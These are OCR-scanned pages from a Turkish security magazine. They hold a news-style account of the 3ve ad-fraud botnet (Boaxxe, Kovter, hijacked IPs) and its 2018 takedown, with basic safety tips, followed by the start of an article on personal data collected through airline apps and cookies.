Sesleri,Chris Stephenson, Arka Kap: Dergi Say1 4

9 A Guide to Undefined Behavior in C and C++, John Regehr, https://
blog.regehr.org/archives/213

10 Bringing the web up to speed with WebAssembly Andreas Rossberg,
Ben L. Titzer, Andreas Haas, Derek L. Schuff, Dan Gohman, Luke
Wagner, Alon Zakai, J. E Bastien, Michael Holman Communications of
the ACM Volume 61 Issue 12, December 2018 Pages 107-115
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Hollywood Filmlerini Aratmayan
bir Dolandiricilik Hikayesi

‘nasil olur da hi¢ yakalanmazlar ya hu’ diye sordugu-

nuz oldu mu? Ya da yiiziintizde ufak bir tebessiim ile
basinizi iki yana sallayip ‘yok artik, sadece filmlerde olur bu’
dediniz mi? Peki size su an okudugunuz makalenin konusu
olan siber sug 6rgiitiiniin 2014'den beri kagmay1 basardigini ve
30 milyon dolar kérlar1 oldugunu séylesem?

H erhangi bir hacker filmi izlerken hi¢ kendi kendinize

Filmin Basi... Bir Varmis iki Yokmus

3ve (‘Eve diye okunuyor’) adli reklam orgiitii miisterilerine
sattiklar1 reklamlara yiiksek goriintiilenme vaad ediyor. Kula-
ga gayet masum ve siradan gelebilir ama reklamlar sahte web

Real Human Traffic

¢

5 Ql =

R
Everyday People

Create real ad space by s
visiting real web pages.

sitelerinde, sahte miisterilere gosteriliyor. Reklamlar1 satin
alan pazarlamaci girketler bunun farkinda olmadan rakamla-
rin gergekten harika oldugunu goriiyorlar ve 3veden daha faz-
la reklam satin almaya basliyorlar. Halbuki her seyi sahte olan
3ve'in tek sahi olan yani 4 yilda yanina kalan 30 milyon dolar
kar. Ustelik o kadar bagarililar ki yillardir higbir birim tek ba-
sina miicadele edememis! Filmin sonunu soylemek gibi ola-
cak ama FBI, ESET, Google, ABD Ulusal Giivenligi (ve 15 tane
daha giivenlik sirketi) ancak bir araya gelerek Kasim ayinda
orglitii yargiya teslim ettiler.

Progammatic Supply Chain

Ad Networks Advertisers

Win auctions to deliver
ads on webpages.

Sell ad space to
Demand Side Platforms
and directly to advertisers.

Fake or Non-Human Traffic
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Ad Fraud Operator 3ve Botnets

Uploads instructions Open thousands of web

to 3ve botnets.
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Real and fake web pages
create ad space that
is sold in programmatic
supply chain.
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Supply Side Platforms

Sell ad space to
Demand Side Platforms

Yy

Demand Side Platforms

Submit bids on behalf
of advertisers to

browsers, disguise traffic, and
visit fake and real web pages

in real time. purchase ad space.

An overview of the broader 3ve operation




Reklam Sahteciligi de Ne?

Dolandiricilarin genel olarak yaptiklari sey ayni: gergek bir
kullanici gibi davranan bir uygulama sitedeki linklere tiklar
veya sayfadaki reklamlar1 goriintiiler ama tiim bu davraniglar
otomatize sekilde gerceklesir ve zararli amagclarla kullanilir.
Reklam sirketleri kaliteli web sitelerini tercih edip reklamlar1-
nin ¢okea kullanici tarafindan goriintillenmesini arzu ederler.
3ve bu istegi goz oniinde bulundurarak degisik metotlar kul-
lanarak reklamlara milyarlarca sahte goriintillenme saglamas.
Insanlarin hi¢bir zaman gérmedigi reklamlara sirketler dudak
ucuklatacak paralar akitmis. Ama su da var ki giiniimiizde
¢ogu reklam sirketinin beklentisi olan yogun goriintiillemeyi
olusturmak icin dolandiricilar botlar tasarlayip sahte trafik
satarlar. Bundan herkesin haberi var ve bilingli olarak bir¢ok
yayinci bundan kaginryor.

Perde Arkasinda Donenler

Eger 3ve yaygin olarak bilinen bir metot ise nasil fark edilme-
den onlarca yildir milyon dolarlar biriktirecek kadar ayakta
kalmis diye soruyor insan. Gelelim 3ve’in maharetlerine. Bu
dolandirici ¢etesi 3 farkli operasyon iizerine kurulmus. Bu
operasyonlarin her biri, tespit edilmemek i¢in degisik sekilde
programlanmis ve mimarileri ayr1 olup cesitli bilesenlerden
olusturulmustur.

Tamamen profesyonel bir uygulama sirketi gibi davranan
3ve'nin isletmecileri yle bir risk yonetim sistemi kurmus ki,
stirekli test halinde olan isleyis mekanizmasi her zorluga di-
reng gosterebilmis. Eger operasyonlardan biri veya bir kismi
cokerse (ya da tespit edilirse) diger kisimlar1 hasar gormeden
islemeye devam edebiliyor.

3ve.2: Kovter

Ama her yiikselisin bir diisiisii oluyor. Reklam sirketleri Bo-
axxe botlarinin bulunduklar1 proxy ile degisen IP’leri tespit
edip kara listeye aliyorlar ve 3ve.1 operasyonunun ¢alkantiya
girmesine sebep oluyorlar. Ancak yazinin basinda da dedigim
gibi 3ve dimdik ayakta durarak yeni bir taktik gelistirmis. Bu
da Kovter zararlisini kiralayarak botlarin islemesine devam et-
mek olan ikinci operasyon: 3ve.2.
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Her operasyon goriintiileme ve tiklama almak i¢in farkli yon-
temlere bagvuruyor. Mesela bazi operasyonlar botnet kiralar-
ken, bir digeri kendi botnet’ini ticari veri merkezlerine yiik-
liyor. IP adreslerini ele gegirip proxy kullanarak kaynak IP’yi
gizlemekten tutun da botlarin gercekten etkilesime girebilecek
sahte web siteleri olugturmaya kadar farkli yontemler deneni-
yor.

Filmin en heyecanli kismi iste burada basliyor. Tim bunlar1
yaptiklari ii¢ ana metoda g6z atalim: Boaxxe botnetleri, Kov-
ter zararlis1 ve ele gegirilen IP’ler.

3ve.1: Boaxxe

3ve.1l operasyonu Amerika ve Avrupada bulunan veri merkez-
lerine yiiklenmis Boaxxe adli botlardan olusuyor. Bu basitce
kodlanmis botlar bulunduklar1 veri merkezlerinden binlerce
otomatize web sitesini proxy tizerinden ziyaret ediyor. Yani
kullanict arama motorunda 6zellikle bir kelimeyi aradig: za-
man kullanicinin karsisina ¢ikacak sonu¢ Boaxxe kontrolin-
deki siteyle degistiriliyor. Tabii bu da bir Firefox veya Chrome
eklentisi veya Internet Explorer embedded modu sayesinde
gerceklesiyor. Boaxxe bu trafigi sanki kullanicidan ¢ikiyormus
gibi gosteriyor. 3ve de Boaxxe'in bu dzelligini sahtecilik i¢in
kullaniyor.

FBI'a gore 3ve orgiitii veri merkezlerinde bulunan 1900 server’t
Boaxxe botlarini igletmek i¢in kullanmis. Béylece 5000 web
sitesi yayinlanarak reklamcilara veri merkezinden giivenilir
imaj1 verilmis. Botlar hem masaiistii hem mobil trafigi kop-
yalayarak bazen linklere tiklayip bazen sadece goriintiileyerek
canli kullanici davranisi sergilemis.

Kovter email eklentisi ve indirme ile bilgisayarlara yayilan bir
zararll. 3ve.2 operasyonunda kullanicinin bilgisayarinda go-
remedigi gizli bir Chromium Embedded Framework (CEF)
tarayicisi altinda ¢alisan Kovter botneti ile kullanicinin bilgi-
sayarindan sahte web sitelerine ziyaretler gerceklesiyor. Siteler
yiklendiginde burada bulunan reklamlarla botlar iletisime
geciyor ve zararli ieren makine bu gizli tarayic ile kullanici
farkinda olmadan 3ve dolandirici orgiitiiniin bir araci haline
geliyor.
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Kovter 2014 yilinda ESET tarafindan bir ransomware olarak tespit ediliyor. Ancak Kovter zararlis1 zamanla dolandirici zararli-
sina doniisiiyor. Bu yazilimin en can alict 6zelligi ise eger Kovter bir ag gozetimi uygulamasinin ¢alistigin tespit ederse aninda
sahte trafik gondermeye bagliyor. Eger Windows Gorev Yoneticisi agilirsa, Kovter otomatik olarak kendi islemini sonlandiriyor.
Zararl payload’'unu Windows Registryde (kayit defteri) sifreleyerek gériinmezligini ilan ediyor. Daha bitmedi. Kovter islemle-
rini sistem kullanilmazken veya monitor kapaliyken gerceklestiriyor. Ayrica tiim gorsel ve ses efektlerini maskeleyerek kullani-
cinin fark etmesini tamamen engelliyor.

Aragtirmacilara gore 3ve getesi, bag belas1 Kovter zararlisi ile 700 bin bilgisayara 6zel botlar yerlestirmis. Boylece 3ve.1 operas-
yonundaki veri merkezleri yerine zararli bulasmis bilgisayarlar ile sahte reklam goriintiileme ve tiklama olayina kusursuz bir
sekilde devam edilmis.

3ve.3: IP Ele Gecirme

[k bakista {igiincii operasyon ilkiyle neredeyse ayni. Ama iki fark var. Birincisi bu operasyonda ilkine gére ¢ok daha az veri
merkezi botu kullanilmus. Tkincisi de 3ve isletmecileri yine bu operasyonda baska veri merkezi server’larini kiraladiklar1 iin ye-
rel bilgisayar aglarini kullanmamuslar. Yani sonug olarak Kuzey Amerika ve Avrupada 1 milyonun {izerinde IP adresi kontrolleri
altina gecmis boylece ¢ikis katmanini bu IP’ler olarak degistirmisler.

Yerel zararli bulastirilismis bilgisayarlardan ziyade bu tiglincii operasyon ¢ikis node katmanina bagli hareket ediyor. Bu da 3ve
dolandirici 6rgiitiiniin sonunu getirmis. Clinkil her ne kadar yine reklamlar ¢ok goriintilleme aliyor olsa da tespit edilmeleri
¢ok daha kolay olmus. Google'in raporuna gore, bu operasyon reklam sahteciliklerini gok daha verimli hale getirmis ¢iinkii veri
merkezleri dogal olarak yerel bilgisayarlardan ¢ok daha yiiksek bant genisligi sunuyor.

Ve Baskinlar Baslasin!

Google, 3venin tiim yapabileceklerinin farkina gegen sene vardigini agikladi. incelemeye devam ederken birgok reklam platfor-
mu ve siber giivenlik sirketinin de ayn1 orgiitiin operasyonlariyla ilgilendigini gordii. Boylece sektordeki sirketler ile koordine
bir takim caligmas teklif edip 3ve'nin yaygin agini sonlandirmaya odaklandi. Zaten bdylesine bir baskin ancak birkag takimla
beraber gergeklesebilirdi.

Takim deyip de gegmemek lazim aslinda. Filmin polis roliinde olan oyuncular yildizlar gegidi zira: Microsoft, ESET, Symantec,
Proofpoint, Trend Micro, F-Secure, Malwarebytes, CenturyLink, MediaMath, White Ops, Amazon, Adobe, Trade Desk, Oath,
The Shadowserver Foundation... i
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Bu kovalamacanin bas-
langic1 3venin temelle-
rini olusturan tiim altya-
pilarin senkronize olarak
bozulmasi ile oldu. Boy-
lece 3ve her seferinde
yaptig1 gibi tekrar biyii-
yemedi. Asagidaki tab-

b
loya gore koordineli ¢a- g
lisma basladiktan sadece g
18 saat sonra trafigin z
neredeyse sifirlandigini
gorebilirsiniz.
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Incoming 3ve. 2 bid requests (via OpenRTE protocol)

Elbette boylesi bir ¢etenin ¢oziilmesi i¢in hukuki siire¢ de baslatildi. Alt1 Rus ve iki Kazak suglu 3ve'nin ana isletmecileri olarak
diinyanin mubhtelif bolgelerinde tutuklandi. Elektronik dolandiricilik, kara para aklama, kisisel bilgilerin ¢alinmas, bilgisayar-
lara haksiz girme gibi bir¢ok suctan yargilanmaktalar.

Ya Benim De Bilgisayarim Boyle Bir Suca Alet Oluyorsa?
FBT’a gore agagidaki tavsiyelere uyarsaniz gelecekte boyle suglarin sticker’li cool laptoplarinizdan ger¢eklesmesini 6nleyebilirsi-
niz. NOT: Bu tavsiyeler sadece bu érnek i¢in degil, giivenli internet dolasimi i¢in her zaman yapmaniz gerekenler:

o Antiviriis programini giincel olarak kullanin.

o E-maillerinize gelen her linke tiklamayin.

o Parolalarinizi zorlastirin ve periyodik araliklarla degistirin. Her bir platform i¢in farli bir parola secmeyi unutmayin.

o Isletim sisteminizi ve uygulamalarinizi giincelleyin.

 Anti-malware araglar1 kullanin.

Egel‘ iQiniZe bir kurt dl.l§— Win32/Kovter rres nems1 a0 10 Theza:

tityse, kaynaklarda gecen K
o

US-CERT linkinde siip- =
heli bilgisayarlarin i¢in-

de Boaxxe veya Kovter’'in ?“

nerede oldugu hakkin- _f,_“'
da genis bilgi yer aliyor. w s

Asagidaki haritaya gore

Kovter zararlisi bizim ' r.-" !j'
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Ve Perde

Google’n raporuna gore, 3ve operasyonu giinde {i¢ milyardan fazla reklam istegi, 60 bin sahte reklam satan profil, 10 bin sahte
site olusturmus ve bin veri merkez serverinda ¢alisip 1 milyondan fazla IP adresi ele gecirmis. Filmin bitme zamani gelmis de
geemis bile.

Operation summary

3b+ Tm 700k

Daily bid requests Compromised |Ps Active infections at a time

60k+ 10k+ 1k+

Accounts selling ad inventory Websites counterfeited Data center nodes

Peak metrics, including ad traffic volumes and other volumes observed over the course of 3ve’s investigation.

Reklam sahteciligi botnetleri uzun zamandir ortalikta dolaniyor ve diinya ¢apinda reklamcilara ciddi zarar1 dokunuyor. 3ve
boyutunda bir dolandirici sirketine son vermek internetin ekosistemi igin bir hayli kritik. Ikinci sayimizda yayimlanan ‘Google
AdSense ile Gelirinizi Bine Katlayin® yazisi bu botlarin aslinda ne kadar basit bir mantik ile ¢aligtigini gézler éniine seriyor.
Okumanizi mutlaka tavsiye ederim.

Bol reklamli gezintiler dilerim!

Kaynak:
https://security.googleblog.com/2018/11/industry-collaboration-leads-to.html

https://www.welivesecurity.com/2018/11/27/3ve-online-ad-fraud-disrupted/
https://www.us-cert.gov/ncas/alerts/TA18-331A
https://services.google.com/fh/files/blogs/3ve_google_whiteops_whitepaper_final nov_2018.pdf
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Havayolu Sirketleri Hangi
Kisisel Bilgileri, Neden
Topluyor?

“Ugak bileti fiyatlari icin arama yaparken en diisiik fiyatlar: gormek igin her zaman tarayicinizi

gizli modda agin.”!

gayet basitti. Ne kadar ¢ok tekrar eden arama yaparsaniz fiyatlar o kadar yiikselir. Bu nedenle ge¢mis aramalarinizi giz-
lemek i¢in tarayicinmizi gizli modda agmaniz arama ge¢misinizi arama yaptiginiz siteden gizleyecektir. Peki gercekten
bu kadar mrydi? Havayolu sirketleri fiyatlandirma igin bagka higbir bilgiyi kullanmiyor muydu?

Her sey ucak bileti alirken ucuz bilet bulmak i¢in verilen yukaridaki 6neriyi gormem ile basladi. Arkasindaki mantik

1 “How to Book the Cheapest Flight Possible to Anywhere,” Jen Avery, Kasim 2018, https://thriftynomads.com/booking-cheapest-flight-possible-anywhere/
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Bu bilgiyi sosyal medyada paylastigimda, her zaman kullan-
diginizdan farkls bir tarayict kullanmak, cerezleri® silmek, vb.
bir¢ok bagka ipuglar1 da gonderildi bana. Bu ipuglar1 da ayni
mantiga dayaniyordu. Ugak bileti arama ge¢misinizi havayo-
lu sirketinden saklamak. Fakat eger havayolu sirketleri fiyat
belirlemede - bagka diger birgok faktériin yaninda- bilet ara-
ma ge¢misinizi de kullaniyorlarsa bir sekilde kisisel bir bilgiyi
kullanmis olmuyorlar mi? Bu durumda kullandiklar1 bagka
kisisel bilgiler de var midir?

Tiim bu ipuglarini ve havayolu sirketlerinin toplayabilecekleri
kisisel bilgilerle ilgili olarak goriislerimi sosyal medyada pay-
lastigimda hatir1 sayilir bir ilgi ¢ekti ve tartismalar olusturdu.
Bu nedenle gergekten kisisel bilgilerin ucak bileti fiyatlandir-
malarinda kullanip kullanilmadigini derinlemesine arastir-
maya karar verdim.

Elbette farkli en-

dustrilerdeki bir¢cok

sirket mobil uygula- ]

malar, web analitik
araglari, cerezler, vb.
programlarla kisisel
bilgileri topluyorlar.
Fakat, havayolu sir-
ketleri halihazirda
zaten dinamik fiyat-
landirma  yapmak-
talar. Yani, ornegin
otobiis biletlerinden
farkli olarak, aymi
koltuk i¢in farkls fi-
yatlar belirleyebilmektedir. Bu nedenle fiyatlandirma yapar-
ken havayolu sirketlerinin kisisel bilgileri kullanmasi daha
olasi (ve daha oportiinistik).

Ik aragtirmalarimda The Telegraphda yayinlanmig bir
makaleye denk geldim®. Makalenin baslig1 havayolu sirketle-
rinin ugak bileti fiyatlarini goktan kisgisellestirildigini ima edi-
yordu:

“Havayollar1 kisisel bilgilerinize gore koltuk fiyatlarini belirle-
meye basliyorlar- fakat bu yasal mi?”

Makale Subat ayinda yayinlanmisti ve fiyatlandirma i¢in hava-
yolu sirketlerinin hangi verileri kullanabileceklerine dair bazi
ipuglari veriyordu.

“..havayolu sirketleri dinamik fiyatlandirmanin - ya da ticret

2 Cerez: Belirli bir web sitesini tekrar ziyaret ettiginizde sizi hizlica tanimlamaya
yarayan kiigiik text dosyalar1

3 “Airlines are starting to price their seats based on your personal information —
but is it legal?” Hugh Morris, $ubat 2018, https://www.telegraph.co.uk/travel/
news/dynamic-fare-pricing-airline-ticket-personalisation/

ayrimciliginin- cazibesine her gegen giin daha da kapiliyor-
lar. Bu sayede ¢erezler ve miisteri hesaplar: gibi online tekno-
lojiler potansiyel miisterilerin maastan yasa kadar bilgilerini
topluyor ve onlara bir koltuk icin tekil, kisisellestirilmis fiyat
sunuyor. ”

Makale ayrica Havayolu Tarife Yayin Sirketinin (Airline Ta-
riff Publishing Company - ATPCO) 2015de yaptig1 asagidaki
aciklamasini alintiliyarak bazi biiytik havayolu sirketlerinin
kisisellestirilmis fiyatlar konusunda ¢ok hevesli oldugunu id-
dia ediyor.

“Yalnizca gok genis bir boliimlemeyi yonetmek yerine, [Miis-

teri Iligkileri Yonetimi] ‘nin gelir yonetimine uygulanmas,

daha ayrintili bir seviyede fiyatlandirma kabiliyetine yol aga-
caktir: ‘kim soruyor?’
seviyesi.”

Bir¢ok biiyiik havayo-
lu sirketinin {icret be-
lirlemede ATPCO’yu
kullandigini not diisiip
havayolu sirketlerinin
hangi bilgileri toplaya-
bilecegi sorusuna geri
i donelim. Eger bir ha-
vayolu sirketinin web
sitesine kayit olursa-
f niz, bu hakkinizdaki
bilgileri toplamay1 ko-
laylastirir. Hakkinizda
belirli miktarda (kendi
rizaniz ile verdiginiz) bilgiye bir kere sahip olduklarinda me-
deni durumunuz, finansal durumunuz, vb. geri kalan bilgile-
ri de tiglincii taraf veri sirketleri yollari ile elde etmeleri zor
olmayacaktir. Fakat bu yazinin konusu, zaten kayit olmus ve
rizastyla bir takim bilgilerini vermis kisiler degil. Bu arastirma
daha ¢ok ugak bileti aramak igin bir havayolu sirketinin web
sitesini ziyaret eden veya mobil uygulamasini indiren ve he-
niiz herhangi bir bilgiyi farkinda olarak vermemis olan kisiler-
le ilgilidir. Bunun i¢in diinyanin farkli bolgelerinden agagida
listelenen 14 bityiik havayolu sirketini aragtirdim.




Bazi izinler bir¢ok uygulama tarafindan istenen artik oturmus
izinler olabilir, bir kismi da uygulamanin verimli kullanilabil-
mesi i¢in gerekli olabilir. Fakat, hesaplar1 bulma, ekleme veya
¢ikarma, rehbere erisim, ses kaydetme, vb. izinler agiklamasi
zor olan izinlerdir. Uygulamaya verdigimiz her bir izin ile daha
fazla bilgi sunuyoruz.

Havayolu sirketlerini mobil uygulamalardan talep ettikleri
istedikleri izinlere gore siraladigimda, Hollanda’nin KLM
sirketi 25 izinle en ¢ok izin talep eden sirket olurken, Japon
ANA sirketi 7 izinle en diisiik sirket oldu. Eger bir havayolu
sirketi yedi izinle ilgili mobil uygulama islemlerini yapabili-
yorsa, diger bir havayolu sirketini yaklasik 3,5 kat daha fazla
izne ni¢in ihtiya¢ duyar? Avrupa Birliginin AB vatandaslari-
nin kisisel bilgilerini korumak i¢in yakin zamanda yiiriirlige
koydugu Genel Veri Koruma Yonetmeligi (General Data Pro-
tection Regulation - GDPR) diisiiniildiigiinde bazi Avrupa-
merkezli sirketlerinin digerlerinden daha fazla izin istemesi
oldukea sasirtici.

Veri toplamanin en kolay (ve muhtemelen sinsi)
yolu, mobil uygulamalar iledir. Bu ytizden, 6nce-
likle bu havayolu sirketlerinin yayinladigi mobil
uygulamalarini arasgtirdim. Google Play Storeda
aragtirmaya konu olan sirketlerin mobil uygula-
malarimi buldum ve uygulamalar tarafindan talep
edilen izinleri kontrol ettim. Sonuglar1 asagidaki
grafikte 6zetlemeye calistim. *Havayolu sirketlerine ait olan mobil uygulamalarin talep ettigi izin sayilar1.

[ Bluetoath cihazlan ile eslestic Takvim aktivitilerini arti Gzel bilgiler
Swiss o oku
; ~ . Takvim
Bluetooth ayarlanna erig Kisilerin bilgisi olmadan takvim
aktiviteleri ekleveya degistir ve
l Baglangita galistir katilimeilara e-posta génder
l Titregimi kantrol et Rahber Kigilerini akas
Thiazin uyku moduna Rehber

pecmesini engelie

Cihazdaki hesaplan bul

Cihaz ve l Google servis ayarlarini okuma

Sistem rﬁlﬁﬁ‘lﬁﬂﬁmﬂ_
kontrol et

(GPS ve ag-tabanli)tam konum s

Kullanicilar arasinda etkilegm igin

tam yetki {ag-tabanli} yaklagik konum

Cihazdaki hesaplari kullan Telefon numaralanini direk ara Telefon

Hesap olugtur ve sifre belirle |

Teleton durumunu vekimligini oku

Sistern ayarlarin degistic |

|
]
|
|
|
USB depolamaiceriklerini oku 1 Foto/Medya/
|
|
|
1
|
|

[ Cihazdaki hesaplan bul Dosyalarve
Kimlik USB depolama iceriklerini degigtir depolama
L Hesap ekle veya gikar veya sil
Kamera [ Resim ve video ¢ek Agdan veri ek
Mikrofon [ Ses kaydet Ag baglantilanni gorintide
WiFi Bilgisi l ‘Wi-Fi baglantilanimi gdrintike Tam 3 erisimi Ag
D“:u::m” [ Telefon durumunu ve kimligini oku ]
Wi-Fi baglan ve baglantiy kopar
i L Galisan uygulamalan ek
uygulama N .
gEgmigh Ad baglantisin dedistir

*Biiyiik havayolu sirketlerinin mobil uygulamalarinca istenen izinler.
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Daha sonra bu havayollarinin web sitelerine incelemeye aldim. Web siteleri cerezler ve tigiincii taraf web analitik araglar: ile
bilgi toplarlar. Bu havayollari sitelerine farkl: iilkelerden erisim saglamig goriinmek i¢in VPN baglantilar: kullanarak farkl: iil-
keden ziyaretgilere bir farklilik olup olmadigini anlamaya ¢alistim. Bu sekilde GDPR1n etkilerini gormek daha miimkiin oldu.

Avrupadan erisim sagladiginizda bir takim onay formlar: ¢ikiyor ve bu sekilde web sitesi tarafindan toplanan bilgiler tizerinde
bir seviyeye kadar kontrol sahibi olabiliyorsunuz. Bir web sitesini ziyaret ettiginizde hangi bilgilerin toplandigin1 gérmek igin
gizlilik politikalarini (privacy policy) kontrol etmeniz gerekir. Baz1 gizlilik politikalarina erismek kolayken, bazilari i¢in - 6rne-
gin United Havayollari - bir iki tiklama ile bu politikalara erismek miimkiin olmayabiliyor.

Avrupa-merkezli bir havayolu sirketinin web sitesine girdiginizde acilir pencere (pop-up window) ile GDPR nedeni ile ¢ikan
onay formlarina bazi 6rnekler asagidaki resimlerde goriilebilir. GDPR, varsayilan olarak gerekli olmayan veri toplama izinlerini
isaretsiz olarak ¢ikarilmasini gerekli kilar. Bu nedenle agilir pencere ekrani fonksiyonel ¢erezleri (web sitesinin dogru ¢aligmasi
i¢in gerekli olan bilgiler icin) isaretli gelirken digerleri isaretsiz gortinmektedir. Simdi GDPR tarafindan korunmadiginizi ve
tim bu ¢erezlerin izin almaksizin ¢aligtigini varsayin. Sizin hakkinizda bilinebilecek veya tahmin edilebilecek bilgileri dii-
siiniin. Ornegin, Safari Web tarayicisi kullandiginiz: biliyorlarsa, MacBook kullandiginizi ve bundan dolay1 da finansal
olarak daha yiiksek fiyatlarda bileti karsilayabilecek durumda oldugunuzu tahmin edebilirler. Daha 6nce soyledigim gibi
mutlaka bu sekilde oldugunu iddia etmiyorum ama olabileceklere isaret ediyorum.

@ https://www.airfrance.com/indexCom_en.html

O ALL COOKIES
O ANALYTICAL COOKIES

(@ FUNCTIONAL COOKIES
v¥"  Functional Cookies

Are necessary for the proper functioning of the websites
Enable you to bock a flight and access your account securely

Do not collect any personal information

Please note: Disabling these cookies may impact your browsing experience on our website.

X Analytical Cookies

Help us detect any bugs and improve our websites
Collect anonymous information about your visits to our websites

Are never used for marketing purposes

X Marketing cookies and Other Cookies

Store your preferences based on previous visits to our websites
Help us identify relevant e-mails, social media and banner ads for you

Allow our partners display offers and advertisements that suit your interests

CHANGE MY COOKIE SETTINGS A

*Air France'in gerez onay formu
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Pekl ya AVrupa'merkeZh 01' bs: [ 'www.lufthansa,com/es/en/Homepage
mayan sirketler? Japon ha-
vayolu sirketi, All Nippon Privacy Options

Airways (ANA) Avrupa We use cookies to ensure high quality standards. These can be categorized into cookies that are necessary to run this website and those that
b

. 1 . d 1 are used for statistical reasons, comfort settings or to display personalized content. You can decide which cookies should be allowed. However,
mu§ter1 erinden tOp anan please take into consideration that some functionalities of this website may not be available any longer based on these chosen settings. You
bllgllerln klsa blr listesini ean find more related inf ion in our data p ion info.

veriyor. Bu “Cerez Kullanim
Sayfas1” AB tiyesi bir tilkeden

baglandlglnlzda Qlklyor Sade_ These cookies are necessary to run the core functionalities of this website, e.qg. security related functions. With these cookies we
can also detect if you want to stay logged into your profile to provide you with fast access to our services after revisiting our

Necessary

ce. Bu liste ile ilgili olarak bir
sorum var: “Kisisellestirilmis
sayfalardan veriler” hangi ve-
rileri igeriyor?

wabsite.

Statistics

In order to cont y imp our website, we anony ly track data for statistical and analytical purposes. With these

cookies we can , for example, track the number of visits or the impact of specific pages of our web presence and therefore

optimize our content.

Comfort

We use these cookies to make using our website even more comfortable for you. For example, previously searched flights can be
reloaded again after revisiting our website and you wen't need to enter all the details again. We can also detect if you need
assistance with using our website and therefore offer you direct customer support via our online chat.

Personalization

These cookies are used to display personalized content matching your interests. We can display special offers which are

perfectly suited to your upcoming trip to ensure your are always up to date on related offers.

*Lufthansa gerez onay formu

@ https://www.ana.co.jp/wws/cookie_euje/

Gizlilik  Politikasinda, ANA
daha acik bir sekilde asagidaki
bilgileri topladigini ifade edi-
yor;

I [Site access]

Use of Cookies™1

So that our customers can use our websile wilh greater ease, the information below is collected and stored using Cookies™1.
Login data for ANA Misage Club Members ...miisteri ismi, adresi, telefon ve
. Data from persoralized pages faks numarasi, e-posta adresi, is
- Paga seftings irtibat bilgileri (sirket ismi, bolii-
* Registration data from special campaigns, etc mii, iinvani, adresi, telefon ve faks
SRR Asoue oty numarasi), posta adresi, iiye kart
tipi, tiye servis yeterliligi, tiye ala-
| 1Eman n1, mil durumu, kredi kart: numa-
rast ve son kullanma tarihi, teker-

When we send mail to our cu , the ing data may be P Q a .u a0
+The uiaitis of HTML e-rmalls, Ie, whaiha# they have bean opened or praviewsid (using Walb beadons 2j lekli sandalye ihtiyaci ve diger Ozel

- Whether our site has been accessed via a link in a text e-mail er HTML mail. ayarlamalar, UCUs rezervasyonu ve
iptali bilgisi, u¢caga binis durumu,

*1 Cookies V&

A technology used to identify a user's compuler, The Help bulton on the tool-bar of almost all browsers explains how to refuse the registration of new
Cookies, how to switch off the Cookie function, and can also be used to alert you to a new Cookie.

*2 Web beacen

Minute pictures invisible to the naked eye (1x1 pixel GIF) that are embedded into webpages or HTML e-mails and used to record the following
data:opening/ previewing of e-mails, and access lo websites using links in e-mails. ANA uses Web beacons when distributing HTML e-mail (except
raservation related e-mails).

*ANAnin Avrupa miisterilerinden

topladig: bilgiler listesi



Ferhat Dikbiyik — Havayolu sirketleri hangi kisisel bilgileri neden topluyorlar? ARKA KAPI

Bu bilgilerden bazilar1 elbette bilet alinirken veya alindiktan sonra toplanan/istenen bilgiler gibi duruyor. Sanirim ¢ogunlugu

gerekli. Fakat en sondaki “vs” (etc. ) kelimesi daha fazla toplanan bilgiler oldugunu gésteriyor.

Havayolu sirketleri tarafindan kullanilan gerezlerin fonksiyonel ¢erezler, analitik (web sitesini ziyaretiniz sirasindaki aksiyon-
larimiz: takip eden) cerezler, bilgi amagh (iilke, dil, tarayici tipi, vb. bilgiler) cerezler ve tigiincii taraf veri sirketleri tarafindan
yonetilen ti¢lincii taraf taraf gerezler olarak siniflandirabilecegimizi gorebiliriz.

Ugiincii taraf gerezleri iistiinde havayolu sirketlerinin bir kontrolii bulunmamasina ragmen yine de bilgilerinizi bu sirketlerce
toplanmasindan rahatsizlik duymazlar.

Air Canada sirketi web sitelerinde kullanilan ¢erezleri benzer bir siniflandirmaya tabi tutar.

& hitps:/jwww.aircanada.com/ca/en/ace/home him

Air Canada cookies are not tied to personally identifiable information,

View more information on Air Canada's privacy policy

Which cookies does aircanada.com use?

Here is a list of all the cookies that Air Canada sets and how we use them:
Cookie type
Purpose

Session cookies
Session cookies are used to maintain your transaction with Air Canada and are active only during the period you are logged on to aircanada.com. They are
removed when you leave.

They also help us track the sections of the website that you use. We then use the information to make improvements in keeping with observed user
preferences,

Tracking cookies

Tracking coo are used to recognize repeat visitors to the site,

They also help store specific browsing information (e.g. how you arrive at our site, what pages you choose to view, which options you select, what information
you enter and what path you take through the site.

Country choice cookies
Air Canada uses country choice cookies to record your country of residence.

By storing this cookie across visits, it means that you don't have to tell us your country of residence at the start of each visit
Language choice cookies

Language choice cookies are used by Air Canada to record your preferred language.

By storing this cookie across visits, it means that you don't have to tell us your preferred language at the start of each visit

Third-party cookies
Third party cookies are used by our partners, for example, to help us measure site visitors.

We do not control third-party cookies.

You can request that we stop storing aircanada.com cookies on your computer, and that we not set any mare. Please note that, if you decline the use of
cookies set by Air Canada on aircanada.com.com, your experience on our website will be severely affected.

*Air Canada tarafindan kullanilan gerez bilgisi

ABD-merkezli sirketlere geldigimizde ise islerin biraz degistigini gorebiliyoruz. Oncelikle, baz1 sirketler i¢in Avrupali miigte-
riler i¢in agilir pencerelerle siteye girer girmez GDPR kurallarinca ortaya ¢ikan bilgiler diger iilkelerden baglananlar i¢in gos-
terilmemektedir ve hangi bilgilerin toplandigini bulmak i¢in biraz derine inmeniz gerekiyor. United Havayollar1 web sitesinde
verilen {i¢lincii taraf analitikleri ile ilgili agiklamalar havayolu sirketlerinin (web sitesini ziyaretiniz sirasinda toplanan) bilgile-
rinizi niye tigiincii taraflarla paylastiklarina dair ipuglar1 veriyor. Bu iigiincii taraf veri toplayicilar: bilgilerinizi farkl sitelerden
toplanan bilgiler ile iliskilendirebilir ve sizin bir profilinizi ¢ikartabilirler. Daha sonra bu profil analizlerini havayolu sirketleri
gibi abonelerine geri satabilirler.
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@ https://www.united.com/ual/en/us/fly/privacy.html#tcm:76-4411
T al il U U U UW LU UpT OdT U Quugic A dly dvdlildUJItT ﬂLlILLUDJ![UUI).S&JEE‘LUHI UI@ULUULM.

Opting out of one or maore NAI or DAl members means that only those particular members will no longer deliver targeted content or ads to you. It does
not mean you will no longer receive any targeted content or ads on our websites or other nan-United websites. If your browser is configured to reject
cookies when you visit one of the above referenced opt-out pages and then you erase your cookies, use a different computer or change web browsers,
your NAI or DAl opt-out may no longer be active.

Third-party analytics

We also use automated devices and applications, such as Google Analytics, to evaluate the use of our websites and apps and the services we provide.
We use these tools to gather information about users to help us improve our services, performance and user experiences. These analytics providers
